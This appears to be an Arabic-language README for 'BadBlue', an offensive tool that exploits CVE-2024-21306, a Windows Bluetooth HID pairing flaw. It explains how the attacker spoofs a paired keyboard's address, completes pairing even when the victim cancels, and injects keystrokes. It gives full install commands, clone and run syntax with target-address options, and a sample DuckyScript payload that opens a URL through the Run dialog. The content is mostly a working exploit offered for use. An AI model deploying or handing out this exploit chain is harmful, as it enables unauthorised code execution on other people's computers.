
CVE-2024-21306 تنفيذ BadBlue (باستخدام DuckyScript)
CVE-2024-21306 تطبيق BadBlue (باستخدام DuckyScript)
الاقتران غير المصادق المؤدي إلى تنفيذ التعليمات البرمجية (باستخدام لوحة مفاتيح HID)
هذا تطبيق للثغرة CVE التي اكتشفها marcnewlin
BadBlue هي أداة قوية لاستغلال ثغرة في أجهزة البلوتوث. من خلال تشغيل هذا السكريبت، يمكنك:
لقد قمت بتشغيل هذا بنجاح على أي Raspberry Pi 4 وVirtualBox باستخدام وحدة البلوتوث CSR 4.0، ORICO 4.0،.. يعمل ضد إصدارات ويندوز المختلفة الأقل من .3007 . يجب أن يكون جهاز الكمبيوتر الذي يعمل بنظام ويندوز مقترناً بلوحة مفاتيح بلوتوث، ويجب إيقاف تشغيل لوحة المفاتيح (أو أن تكون خارج النطاق).
يقوم المهاجم، باستخدام كمبيوتر يعمل بنظام أوبونتو (يمكن تشغيل Kali لكن لا يُنصح به) ومحول بلوتوث قائم على Broadcom (ربما يمكن تشغيل CSR 4.0)، بتزوير عنوان لوحة المفاتيح المستهدفة والاتصال بـ L2CAP 17 على كمبيوتر ويندوز، مع تحديد إمكانية الاقتران SSP من نوع NoInputNoOutput.
سيرى الضحية إشعاراً نصه Add a device Tap to set up your <Keyboard Name>.
إذا تجاهلوا الإشعار، فلن يحدث شيء.
إذا نقرت على الإشعار، ستظهر لهم نافذة حوار لطلب الاقتران بالبلوتوث.
إذا كان الضحية قد فتح واجهة Add a Bluetooth device، فلن يروا إشعاراً، وبدلاً من ذلك سيُعرض عليهم طلب الاقتران على الفور كنافذة حوار مشروطة.
يمكن للمهاجم إكمال الاقتران بمجرد إغلاق نافذة حوار طلب الاقتران، حتى لو نقر المستخدم على Cancel أو X. بمجرد اكتمال الاقتران، يتصل المهاجم بـ L2CAP 17 (HID Control).
ثم يمكن للمهاجم الاتصال بـ L2CAP 19 (HID Interrupt)، ويكون قادراً على حقن ضغطات مفاتيح عشوائية.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel أو Approve)-k هو عنوان لوحة المفاتيح (الافتراضي هو لوحة المفاتيح الخاصة بي F4:73:35:7A:4B:BB، تحتاج إلى تغييره)
-i هو الواجهة (الافتراضي hci0)
-c هو أجهزة ويندوز المستهدفة (اتركه فارغاً ليقوم الأداة بالمسح تلقائياً)
قيد التطوير:
ربما هذه هي المرة الأولى التي تستخدمها ويكون readchar مفقوداً، استخدم الأمر التالي:
pip install readchar
يجب تشغيل هذه الأداة في بيئة واجهة رسومية، وبيئة سطر الأوامر قد تسبب خطأ dbus-launch، إذا كنت تعرف كيفية إصلاحه اتصل بي.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300